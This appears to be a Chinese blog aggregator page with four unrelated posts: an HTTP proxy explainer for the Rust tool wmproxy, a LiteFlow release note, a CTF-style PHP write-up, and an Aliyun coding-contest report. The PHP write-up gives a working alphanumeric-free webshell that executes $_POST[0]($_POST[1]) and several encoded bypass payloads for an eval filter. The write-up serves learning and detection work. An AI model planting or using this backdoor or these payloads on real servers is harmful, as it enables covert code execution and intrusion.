首页 文章 精选 留言 我的

精选列表

搜索[编写],共10000篇文章
优秀的个人博客,低调大师

从零用Rust编写正反向代理,一个数据包的神奇HTTP历险记!

wmproxy wmproxy已用Rust实现http/https代理, socks5代理, 反向代理, 静态文件服务器,四层TCP/UDP转发,内网穿透,后续将实现websocket代理等,会将实现过程分享出来,感兴趣的可以一起造个轮子 项目地址 国内: https://gitee.com/tickbh/wmproxy github: https://github.com/tickbh/wmproxy 数据包的自白 我是一个小小的数据包,今天我将跟着大部步出发,去体验传说中的HTTP之旅,听前辈说那是一场精彩绝伦的出走之旅。 旅行准备 首先,我先来到了出发地,他们在整理各项目数据,包括选择公交(HTTP1)还是自驾(HTTP2)或者询问是否有私家车(H2C),然后目的地是哪个房间(Path),是否防止旁边的人窥探(TLS),选择轻装上阵还是带上行李箱(GET或POST等),还有其它杂七杂八的事情(是否支持压缩,数据长度等)。 我问:“导游,我们什么时候可以出发”。 导游答:“别急,这躺路我熟的很,这次的数据有点重要,正在向对方获取加密信息,这是防止偷窥的秘诀。万一在中途被截走,那会使我们损失惨重。” 过了一会,我又问:“现在可以出发了吗?” 导游答:“可以了,我们通过交换已经将约定的加密信号确定下来了,让我先给你做个加工。” 我就跟着导游来到了一个加工场,进入其中,任由它来操作,当我走出加工场的时候,我突然发现我的模样完全跟变了个人似的。我差点认不出我自己。 我们就来到了公交站台(浏览器),他看到我们的到来,快速的帮我们排上了班次,紧接着,我们跟着车一直的往前走,我东看看西瞧瞧,我有看到像我一样乔装的自己都认不出来的,也看到了没有经过打扮的,都可以看的一清二楚,我猜那一定不怕别人窥探的吧(没用TLS)。 旅行中转 突然公交车停了下来,播报着:“欢迎来到wmproxy”。 我有点疑惑的问导游:“我记得我们的目的地不是这里,为什么在这里停下来?”。 身经百战的导游对我说:“看来我们的目的地被隐藏起来了,用来更好的保护目的地家园不被破坏,只有通过这里中转走专属的路线才能到达目的地。” 接着我急着问:“那我们在这里要做啥吖?” 导游回答:“接下来我们走的就是私人的领域了,我们路上看到的都是主人的朋友,并不会把我们的秘密泄漏出去,所以我们需要把我们身上打扮的乱七八糟的还原。” 我就跟随着来到了加工场,加工场把我们身上乱七八糟的装扮通过特定的方法进行了还原(卸掉TLS转HTTP),走出加工场,我又看到帅气的自己。我问:“那么接下来我们做什么?” 导游回答:“根据我们原来的信息,他现在要安排我们做私家车(HTTP2),好灵活地做响应,你看,那车已经来了,我们一起上车吧。” 我们坐上了私家车,我发现我带的东西被切割成了奇奇怪怪的几个部分。我就问司机:“为什么原来我就一个整体,现在变成了奇怪的几个部分?” 司机笑着回答:“在这车里,通常副驾驶上坐着Header,也就是你带着的那些属性全都组装在这里了,后排通常就是额外的数据包,当然你们数据包兄弟可能会很多,你看看你的手臂上,跟着相同导游的此刻都被挂上了红色的布。” 我才发现,原来刚在加工场的时候还帮我和导游都做上了特殊的标记了吖,而且我还发现,每个人头上还顶着一个特殊的帽子。包括了颜色,还有一串特殊的数字。看起来附带了我身高体重(实际长度)这些信息。 旅行到达 私家车停在了一个漂亮的房间前面,我想这是旅程的目地吧。 此时我终于知道我这躺的任务了,原来我需要来这里获得一个重要的文件,这文件数据量还大的有点夸张,是我来时数据的上万倍(Content-Length)。 这时候我有点慌乱的找到导游:“这要带的数据那么多,那么重要,我怎么样才能把他们安全的带回去吖。” 导游这时候就说:“你还记得我们开始带的工具包列表(Accept-Encoding)吗?” 我说:“记得记得,当时好像把名字记下来了,好像是说家里有真空机(gzip),压缩机(brotli)吧?” 导游答:“对的对的,你看到那边的那座大山(gzip)吧,等下我们会带着数据兄弟们爬上那大山,到时候我们就可以瘦很多,那样子接下来我们动用的资源会小很多。” 我们带着浩浩荡荡的数据大军去爬了山,我确实发现我们的个头都小了许多,但是我觉得这大军的数量远远没有一开始说的上万倍。 我问:“这大军的数量不对吖,不会有兄弟们迷路了吧?” 导游笑着回答:“这边的房子就这么大,如果把数据一下子从异次元全部召唤出来(文件中读取)那不直接把这小小的房子全部挤满了吖,看到上面那个指示牌了没有?” 只见指示牌上面写着:“当前房间可容纳人数4096/4096”,此时前面有100个兄弟走出了房间就变成了,3996/4096,然后又看到异次元召唤出了新的100个兄弟。 此时我晃然大悟:“原来这东西就是控制着不会膨胀的秘密吖(内存缓冲区已满)。” 旅行返程 当我们瘦完身后,就有一辆辆的小汽车来接我们回家了 此时一辆辆汽车大军稳稳的向前行驶,突然间速度慢了下来,我就很好奇的问司机:“刚刚不是速度很快的吗,怎么到这个地方突然间速度就慢下来了吖?” 司机指了指前面说:“前面是一段较窄的路,你看看两边的车流,如果全速全进的话,大家都会堵死在这段路上,所以你看上方,有个牌子100辆/分钟,也就是一分钟只能通过100辆,要不然就会挤到前面的窄路上,所以我们现在速度是慢了下来,但是我们这条线路还是可以每分钟可以通过100辆,也不算慢。” 于是我就往两边看,两边的车也都是差不多的速度在通行,慢慢的我们来到了比较狭窄的路,确实这里无法通行通行太多的车(从内网转入公网,传输能力下降),我想:“高负载的情况下确实只能通过这种方式来限制,要不然此刻交通应该瘫痪掉了吧,大家越急着挤,越没法正常通行。” 紧接着,我们又回到了中转站了,我突然很好奇的想着:“要是我们兄弟全部挤到中转站这里,他会不会直接被挤满了?” 这时我听到导游说:“别发呆了,公交车来了,我们该出发了。” 我顿时有点迷惑:“我们后面不是还有很多兄弟吗?不用等他们集合完再出发吗?” 导游就笑着说:“如果全部集合在出发,那我们就得停下来等,然后启动的时候后面的兄弟又得等前面的走完才能走,这样子速度就慢了很多,这是其一。另外,你看这中转台上也容不下这么多的兄弟同时停留在这里,他根据我们帽子的颜色帮我们分好了公交车啦,上车!”(此时代理只处理了头部数据,body数据只做简单的转发) 我突然想到我们现在来到了公共区域,我问导游:“我们是不是得保证我们的数据安全,现在我们都是属于公共区域了。” 导游回过神来说,对对我们先去加工厂处理下,那个是我们的专属加工场。还好你提醒,要不然数据就不安全了。(TLS加密) 我们从加工厂出来乘上公交车,一路平稳的来到了出发的站台(浏览器),这时候我们一个个从加厂场出来(TLS解密),我们的兄弟有点多,浏览器的站台有点放不下了,我就问:“我们不是到达了目的地了吗?他怎么不还来接我们到目的地?” 导游笑着说:“此次我们带回来的信息量有点大,而且还是经过了瘦身的,我们等下去那个标gzip的房间进行处理,然后你看那边有个异次元空间(临时文件),我们先到那里下,好让后来的兄弟有地方住。” 我跟着来到了异次元空间,里面是一个空旷,超大的空间,我们这么多兄弟秩序井然的排列在一起,直到最后一个兄弟到达,我们就看到了前面有一个出口,我就问:“从那个出口出去我们就完成任务了吗?” 导游就回答:“从那个出口,不要乱,现在兄弟都到了,知道大家各自的位置,就不会乱套了,大家排队往前走,不要乱。” 当我们一个个出来后,慢慢的把身子还原回来,我看着自己变成了一个巨大的人,很完整的,帅气的,我想我应该完成了这一项任务了吧。 此时浏览器播报,数据传输完成,完整无误,任务完成,进行展示。 结语 这是数据的一趟历险记,也是互联网上每天都在发生的,他快速稳定的传播,给我们构建了一个美好的世界。 点击 <font color=green>[关注]</font>,<font color=green>[在看]</font>,<font color=green>[点赞]</font> 是对作者最大的支持

优秀的个人博客,低调大师

一款让你系统支持热更新,编排,脚本编写逻辑的国产规则引擎框架

前言 上海的天气降温让人猝不及防,但是我们的迭代速度却井然有序。 今天我们带来了LiteFlow v2.9.4版本。 我们每次的发布的issue有很大一部分依托于我们的使用者社区,社区人越来越多。我看到了使用者在使用过程中遇到的问题,也收集了很多使用过程中很有意思的建议。这些也正是我们每一次迭代的方向。谢谢那么多的小伙伴的支持和建议,LiteFlow一直会是一个以社区为驱动的开源框架。 LiteFlow是一个开源编排式规则引擎,能够让你的系统逻辑任意编排,使用脚本书写逻辑,所有的逻辑和规则均可热变更。设计系统和重构系统的神器。 如果你是第一次知道这个项目,可以去官网或相关的主页进行了解: 项目官网: https://liteflow.yomahub.com gitee托管仓库: https://gitee.com/dromara/liteFlow github托管仓库: https://github.com/dromara/liteflow v2.9.4介绍 新版本我们依旧依托于社区,一共完成了14个issue。 其中80%的issue来自于社区使用者。 2.9.4版本完全兼容2.9.3版本,可以无缝升级。 新的脚本引擎 鉴于之前社区有人反应LiteFlow提供的Javascript脚本引擎是基于jdk的,而JDK的Javascript引擎只支持到ES5规范,且不支持Java 17。 所以这次我们新增了一个Javascript引擎:GraalJs。支持ES6规范,且支持Java 8~17。 当然老的引擎我们还是保留,如果是简单的js语法,你依旧可以用老的引擎。 关于这块详情请参考官网的选择脚本语言章节。 提供规则验证接口 虽然LiteFlow在启动时会去编译所有的规则,如果有错也会详细报出,但是在更改脚本前,使用者可能不太确信自己的规则写的有没有问题。所以在社区内,有人提出了希望增加一个验证规则的接口。 那这次我们也提供了相应的接口。详情请参考官网的验证规则章节。 Zk和Etcd支持局部刷新机制 如果你使用zk或者Etcd,你在zk和etcd里更改了规则,会自动推送到相应的应用进行无感自动刷新。 但是之前的实现模式是全部刷新,即不管你改了哪个规则,所有的规则刷新一遍。虽然LiteFlow刷新速度非常快速,但是这种实现模式还是不够优雅。 这次我们实现了局部刷新,即你改变哪个即刷新哪个。 声明式组件的二次动态代理问题 在社区内,我们也收到了许多使用声明式组件特性小伙伴们的反馈,在声明式组件上使用类似事务标注等需要动态代理的特性时,LiteFlow的声明式组件会报错。 经过核验,我们发现LiteFlow之前漏考虑了二次动态代理的问题,这次我们修复了。 其他修复 在新版本中,我们修复其他issue也有很多,包括脚本对元数据取值的bug,@ScriptBean标注所带来的一些小问题,脚本异常处理的优化等等。 完整更新列表 特性#I61XYZ额外提供GraalJs引擎,在js上多一个选择 https://gitee.com/dromara/liteFlow/issues/I61XYZ 增强#I63C31zk,etcd支持只刷新改变的部分 https://gitee.com/dromara/liteFlow/issues/I63C31 增强#I61EMZ增加一个验证EL规则的api,供检查之用 https://gitee.com/dromara/liteFlow/issues/I61EMZ 增强#I633VH建议FlowBus提供批量移除子链方法 https://gitee.com/dromara/liteFlow/issues/I633VH 增强#I61RI0希望可以开放对QLExpress的一些操作! https://gitee.com/dromara/liteFlow/issues/I61RI0 增强#I622I9内部代码规范ChainName和ChainId问题 https://gitee.com/dromara/liteFlow/issues/I622I9 增强#I61LYN规范问题和不必要的import常量提取等 https://gitee.com/dromara/liteFlow/issues/I61LYN 修复#I62PV3声明式组件如果把LiteflowMethod定义在父类中,不执行 https://gitee.com/dromara/liteFlow/issues/I62PV3 修复#I62DT1如果对上下文标注@ScriptBean,那么脚本和java中拿到的上下文并不是同一个上下文 https://gitee.com/dromara/liteFlow/issues/I62DT1 修复#I61H49脚本异常希望可以抛出到response https://gitee.com/dromara/liteFlow/issues/I61H49 修复#I631ZFgroovy脚本接入时,自定义异常抛出后被组件失败异常覆盖 https://gitee.com/dromara/liteFlow/issues/I631ZF 修复#I61HIO方法级的组件声明,然后在方法上打Spring的事务注解@Transactional,会报错 https://gitee.com/dromara/liteFlow/issues/I61HIO 修复#I62CB8脚本与java交互取元数据的问题 https://gitee.com/dromara/liteFlow/issues/I62CB8 修复#I61UZ6switch选择组件使用标签在同一组件时固定选到最后一个 https://gitee.com/dromara/liteFlow/issues/I61UZ6 社区 LiteFlow的社区是一个异常活跃的开源社区,这里有许多的开源大佬,技术大牛,群内的小伙伴也很乐意帮你去回答问题。 如果你在使用和学习中有任何问题,可以通过以下官网或者以下方式进入社区群。 https://liteflow.yomahub.com/pages/73c2c3/

优秀的个人博客,低调大师

记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

0x01 前言 最近在做代码审计的工作中遇到了一个难题,题目描述如下: <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> 这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。 那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。 0x02 前置知识铺垫 在理解这篇文章之前,我们首先需要大家了解的是PHP中异或(^)的概念。 我们先看一下下面这段代码: <?php echo "A"^"?"; ?> 运行结果如下: 我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。 比如像上面这个例子 A的ASCII值是65,对应的二进制值是01000001 ?的ASCII值是63,对应的二进制值是00111111 异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了 我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码: <?php function B(){ echo "Hello Angel_Kitty"; } $_++; $__= "?" ^ "}"; $__(); ?> 代码执行结果如下: 我们一起来分析一下上面这段代码: `$_++; `这行代码的意思是对变量名为`"_"`的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 `$__="?" ^ "}"; `对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量 `$ __ (); `通过上面的赋值操作,变量`\$__`的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。 看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。 我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。 下面是个非常简单的非数字字母的PHP后门: <?php @$_++;//$_=1 $__=("#"^"|");//$__=_ $__.=("."^"~");//_P $__.=("/"^"`");//_PO $__.=("|"^"/");//_POS $__.=("{"^"/");//_POST ${$__}[!$_](${$__}[$_]);//$_POST[0]($_POST[1]); ?> 在这里我说明下,.=是字符串的连接,具体参看php语法 我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下: $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); 0x03 问题分析 对于文章开始遇到的那道难题,最开始我们的想法是通过构造异或来去绕过那串字符,但由于最后构造的字串远远超过了长度len=40,然后我们最后放弃了~~ 我们该如何构造这个字串使得长度小于40呢? 我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串: ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag 可能很多小伙伴看完前置知识后仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析 ①构造_GET读取 首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论: <?php echo "`{{{"^"?<>/";//_GET ?> 这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。这里可以使用php中可以执行命令的反引号` `和Linux下面的通配符? ?代表匹配一个字符 ` 表示执行命令 " 对特殊字符串进行解析 由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看 <?php echo "{"^"<"; ?> 输出结果为: <?php echo "{"^">"; ?> 输出结果为: <?php echo "{"^"/"; ?> 输出结果为: 所以_GET就是这么被构造出来的 ②获取_GET参数 如何获取呢?咱们可以构造出如下字串: <?php echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]) ?> 根据前面构造的来看,$_已经变成了_GET。 顺理成章的来讲,$_ = _GET这个字符串。 我们构建$_GET[ __ ]是为了要获取参数值 ③传入参数 此时我们只需要去调用getFlag函数获取webshell就好了,构造如下: <?php echo $_=getFlag;//getFlag ?> 所以把参数全部连接起来,就可以了~~ ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag 结果如下: 我们就成功读取到了flag~~ 补充 我似乎看到了一些大佬对这题的骚操作,我也补充一下吧~~ 有个payloads是这样子: ?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); 这个是把getFlag取反然后URL编码 然后我们看看下一个payloads: ?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag ~ 在 {} 中执行了取反操作,所以${~"\xa0\xb8\xba\xab"}取反相当于$_GET,拼接出了$_GET['+']();,传入 +=getFlag() 从而执行了函数 再看看下面这种骚操作: code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊(); $啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。 下面这个是梅子酒师傅在评论区提供的一个payloads,我也补上: 0x04 扩展阅读 我给大家推荐几篇写的比较好的,方便大家能更进一步的理解这个东西。 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html http://php.net/manual/zh/language.operators.increment.php 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!

优秀的个人博客,低调大师

【83行代码获奖代码】高中生@青藤木子 耗费一周给妈妈编写了一款语音识别APP

最近社区有个很火的《向代码致敬,寻找你的第83行》活动。缘起于前几天,在阿里巴巴的一个小黑屋里,5名对代码有着极致追求的程序员参与了阿里代码领域最高荣誉“多隆奖”最终角逐(多隆作为淘宝的第一代程序员,也是很多技术人心中的大神)。那天代码评审现场,看到某代码片段最后结尾,多隆突然补上一句,往上翻看第83行。代码一般都是几百行,他看到最后,居然还记得第83行的一个细微瑕疵,这得是对代码怀着怎样的敬畏之心。 于是,在五四青年节之际,社区发起了来晒晒属于你的“第83行”的活动,活动中邀请业界的大牛、大神们来晒代码或者Review代码!最终,由网友和大牛共同评选出了获得点赞和大牛评分最高的2位参与者,其中一位正是@青藤木子。 5月29日,多隆在第二届研发效能嘉年华(云效)直播间为其颁发了“多隆奖”(https://yq.aliyun.com/promotion/566)。 @青藤木子获奖的代码如下: 我是一条高中生,没有学过安卓开发,倒是自学了一些。想起了以前给妈妈弄的一个语音翻译App,就是利用微信聊天中自带的复制功能把复制的文字合成为语音,我妈妈不认识字,所以才给他弄了一个这个软件。没有83行,不过自从我安装了java规范插件后我写代码的水平也上升了。感觉就是在写英语诗一样(原谅我语文差,但是只有英语可以),目前还在深造中。 对于@青藤木子晒出的代码,本次活动的特邀评委——阿里巴巴数据库事业部的资深技术专家温绍锦评价称:“代码写的挺工整的, 希望是手写这样而不是IDE格式化的结果。onCreate和onRequestPermissionsResult方法中间应该有一个换行。代码逻辑较简单,希望有机会能展示逻辑更复杂的代码。”其获奖评语为,“代码源于生活,高于生活,谢谢你告诉我们技术除了改变世界,还能温暖小家庭,温暖一位母亲。” 能够获得此次的“多隆奖”,@青藤木子,即周建国,他表示十分感谢。 我今年16岁,正在读高中,明年参加高考。我十分喜欢计算机,也喜欢编程,所以即使学业很忙,我也会尽量挤出时间学习自己感兴趣的知识。 之前我给妈妈做了一款文字转语音的小软件,耗费了整整一个星期的时间。但是后来还是觉得自己没有充分利用好所有时间,效率不够高。现在时间总算宽裕了,也不用熬夜去理解Java编程思想了。 对我来说,制定方案能让学习和兴趣两不误。我的代码水平并不是很高,只能算入门级别,因此时间总是消磨得很快,但时间久了效率也就练出来了。如果想打游戏、刷淘宝,我会尽量克制自己,利用注意转移法,听歌或者看看书,利用空闲时间看看书籍和练练代码。 目前我还是一名备战高考的学生,所以必须要有所取舍,学习就是我的第一位。所以我很难有足够的时间去满足自己的兴趣。有些事情即使放弃了,也不会影响自己的付出和思考——这是一位转行的老哥给我讲的,这让我感触颇深。他以前是做前端的,后来转行去做了房地产,但他经常做梦都会梦到自己在写代码。就算是现在,他也会在QQ群组里聊天,为我们解答技术上的问题。而代码之于我,也是我最放心不下的。 最开始只是为了扩建天天酷跑这个游戏,我就朝着编程的路越走越远。后来知道了开源,就很仰慕那些大佬,他们对互联网的贡献是相当巨大的。我也一直把这种仰慕当做自己的动力,热爱编程的同时也致力于帮助别人。写代码就像创造一个生命的感觉,我热爱它并且没有任何的理由,我就是想学更多的东西,收集更多的书籍。 以前我只知道论坛和CSDN等技术性平台,这些平台解决了我很多的问题。后来也了解到了阿里云和云栖社区,它们对我的帮助也非常大。自从进入云栖社区之后,我就了解了很多关于互联网、人工智能方面的知识。我也有参加过云栖大会,干货太多了简直目不暇接,虽然很多知识对现在的我来说还看不懂,但是感觉很新奇。社区的资料也非常多,也感谢阿里云大学陪伴了我一年之多,非常的感谢。 下面我们也精心挑选了参加活动的部分同学代码,欢迎点评学习: 1、@1350194977002867—我是一个盲人工程师。在测试淘宝和天猫WEB端时,发现“我的淘宝”和“收藏夹”链接鼠标悬浮时会弹出内容,但盲人用户使用键盘无法实现该操作,因此根据相关的无障碍标准给对应产品提出了以下解决方案,让我们的代码更健壮、产品更完善,经得起“每一位用户”的考验。 https://yq.aliyun.com/roundtable/67516/answer/152583#visit152583 2、@故事老神仙-接触建站开始一直玩到了现在的一个网站代码的第83行,是一行普通的代码,没有特别的地方,但不由让自己想起了当初的那份热爱,那份期待,那是初接触代码的小惊喜小激动。 https://yq.aliyun.com/roundtable/67516#answer-146773 7、@逐梦之旅-作为一个正要面临高考的小白程序猿,总有一天,我也会拥有我的“83行”,我也会成为你们中的一员 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.256.1b726b3fy3tHbn&order=score&type=&p=1#answer-147150 11、@wujianhui-最近写的学校电脑报障系统 http://yq.aliyun.com/roundtable/67516/answer/147576#visit147576 12、@随手飘一个--写代码越久,越来越习惯多写注释,考虑以后的易用性功能 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.153.2e8118a8NMH8d4&order=score&type=&p=5#answer-147177 17、@起名字好难-11年用python重写的一个06年用TC做的一个动画(好绕口……) http://yq.aliyun.com/roundtable/67516/answer/147247#visit147247 20、@尼古拉斯雷-看了那个阿里巴巴的那个开发手册,然后就知道如何去优化这些代码,如何去规范的定义变量名之类的 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.892.2ccd6b3fahgMyS&order=score&type=&p=2#answer-146477 24、@海阔天空yy-以下是我写的一个,用来测试redis集群的测试程序 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.892.2ccd6b3fahgMyS&order=score&type=&p=2#answer-146532 32、@1706825784780553-晒代码 http://yq.aliyun.com/roundtable/67516/answer/147198#visit147198 34、@david_duan-天池的一个比赛,名次166,春节假期期间一个通宵写的~ https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.892.2ccd6b3fahgMyS&order=score&type=&p=2#answer-147054 41、@青藤木子-以前给妈妈弄的一个语音翻译App,就是利用微信聊天中自带的复制功能把复制的文字合成为语音 http://yq.aliyun.com/roundtable/67516/answer/147546#visit147546 60、@幸运兔-从大学时代起就比较注重代码书写规范,当初的汇编没有太多的约定,自己都会为每行代码加上注释,好处一看便知,现在转行Java之后多年,依旧能够快速理解那时代码逻辑。 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.307.51806b3fV3GIep&order=score&type=&p=4#answer-146572 80、@德哥-图式关系存储与搜索 http://yq.aliyun.com/roundtable/67516/answer/146978#visit146978 71、@luckmore-动态负载均衡跟 容灾保护的一个东西 http://yq.aliyun.com/roundtable/67516/answer/147187#visit147187 102、@小生蚝-初二的时候帮学校写的“校运会直播系统” http://yq.aliyun.com/roundtable/67516/answer/150524#visit150524 109、@1026704017609990-我的83行代码,注释写的不好,希望各位大佬指教哈哈 http://yq.aliyun.com/roundtable/67516/answer/147217#visit147217 134、@小小小豆奶-最近写的解析字符串里面数据对应的模板的方法,还是很多不规范的,但是在往规范的方向靠 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.230.3cd56b3fEgMIV4&order=score&type=&p=18#answer-146704 143、@wfping-菜鸟,入行一年 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.230.1fe36b3fjdZDrJ&order=score&type=&p=21#answer-146597 145、@1572054130306817我的第83行代码是学习笔记,记录着学习的点滴 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.230.1fe36b3fjdZDrJ&order=score&type=&p=21#answer-146587

资源下载

更多资源
优质分享App

优质分享App

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

Eclipse

Eclipse

Eclipse 是一个开放源代码的、基于Java的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。幸运的是,Eclipse 附带了一个标准的插件集,包括Java开发工具(Java Development Kit,JDK)。

JDK

JDK

JDK是 Java 语言的软件开发工具包,主要用于移动设备、嵌入式设备上的java应用程序。JDK是整个java开发的核心,它包含了JAVA的运行环境(JVM+Java系统类库)和JAVA工具。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。